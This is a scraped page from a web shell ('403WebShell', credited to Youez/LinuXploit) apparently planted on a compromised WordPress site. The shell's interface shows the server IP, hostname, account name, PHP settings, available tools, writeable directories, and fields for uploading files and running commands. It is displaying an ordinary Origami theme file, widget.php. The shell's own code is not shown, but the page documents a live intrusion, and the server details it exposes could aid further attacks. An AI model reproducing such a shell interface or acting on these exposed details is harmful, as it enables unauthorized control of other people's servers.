Failed to save the file to the "xx" directory.

Failed to save the file to the "ll" directory.

Failed to save the file to the "mm" directory.

Failed to save the file to the "wp" directory.

403WebShell
403Webshell
Server IP : 66.29.132.124  /  Your IP : 3.144.3.235
Web Server : LiteSpeed
System : Linux business141.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : wavevlvu ( 1524)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/wavevlvu/misswavenigeria.com/wp-content/themes/origami/inc/settings/inc/control/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/wavevlvu/misswavenigeria.com/wp-content/themes/origami/inc/settings/inc/control/widget.php
<?php

class SiteOrigin_Settings_Control_Widget extends WP_Customize_Control {
	public $type = 'siteorigin-widget-setting';

	public $widget_args;

	public function render_content() {
		if ( empty( $this->widget_args['class'] ) ) {
			return;
		}

		if ( ! empty( $this->label ) ) {
			?><span class="customize-control-title"><?php echo esc_html( $this->label ); ?></span><?php
		}

		if ( ! empty( $this->description ) ) {
			?><span class="description customize-control-description"><?php echo $this->description; ?></span><?php
		}

		if ( ! class_exists( $this->widget_args['class'] ) && ! empty( $this->widget_args['bundle_widget'] ) && class_exists( 'SiteOrigin_Widgets_Bundle' ) ) {
			// If this is a widget bundle widget, and the class isn't available, then try activate it.
			SiteOrigin_Widgets_Bundle::single()->activate_widget( $this->widget_args['bundle_widget'] );
		}

		if ( ! class_exists( $this->widget_args['class'] ) ) {
			// Display the message prompting the user to install the widget plugin from WordPress.org.
			?><div class="so-settings-widget-form"><?php
			_e( 'This field requires the Widgets Bundle plugin.', 'origami' );
			echo ' ';
			printf( __( '<a href="%s">Install</a> the Widgets Bundle now.', 'origami' ), 'https://wordpress.org/plugins/so-widgets-bundle/' );
			?></div>
			<input type="hidden" class="widget-value" value="<?php esc_attr( $this->value()  ); ?>" />
			<?php
		} else {
			$widget_values = $this->value();

			if ( is_string( $widget_values ) ) {
				if ( is_serialized( $widget_values ) ) {
					$widget_values = unserialize( $widget_values );
				} else {
					$widget_values = json_decode( $widget_values, true );
				}
			}

			// Render the widget form.
			$the_widget = new $this->widget_args['class']();
			$the_widget->id = 1;
			$the_widget->number = 1;
			ob_start();
			$the_widget->form( $widget_values );
			$form = '<p><a href="" class="button-secondary so-widget-close">' . __( 'Close', 'origami' ) . '</a></p>' . ob_get_clean();
			// Convert the widget field naming into ones that Settings will use.
			$exp = preg_quote( $the_widget->get_field_name( '____' ) );
			$exp = str_replace( '____', '(.*?)', $exp );
			$form = preg_replace( '/' . $exp . '/', 'siteorigin_settings_widget[' . preg_quote( 1 ) . '][$1]', $form );
			$form .= '<p><a href="" class="button-secondary so-widget-close">' . __( 'Close', 'origami' ) . '</a></p>';

			?>
			<div class="so-settings-widget-form">
				<div class="so-widget-form" data-widget-class="<?php echo esc_attr( $this->widget_args['class'] ); ?>">
					<?php echo $form; ?>
				</div>
				<a href="#" class="button-primary so-edit-widget"><?php esc_html_e( 'Edit Widget', 'origami' ); ?></a>
			</div>
			<?php
		}
	}

	public function enqueue() {
		wp_enqueue_script( 'siteorigin-settings-widget-control', get_template_directory_uri() . '/inc/settings/js/control/widget-setting-control' . SITEORIGIN_THEME_JS_PREFIX . '.js', array( 'jquery', 'customize-controls' ) );
		wp_enqueue_style( 'siteorigin-settings-widget-control', get_template_directory_uri() . '/inc/settings/css/control/widget-setting-control.css', array() );
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit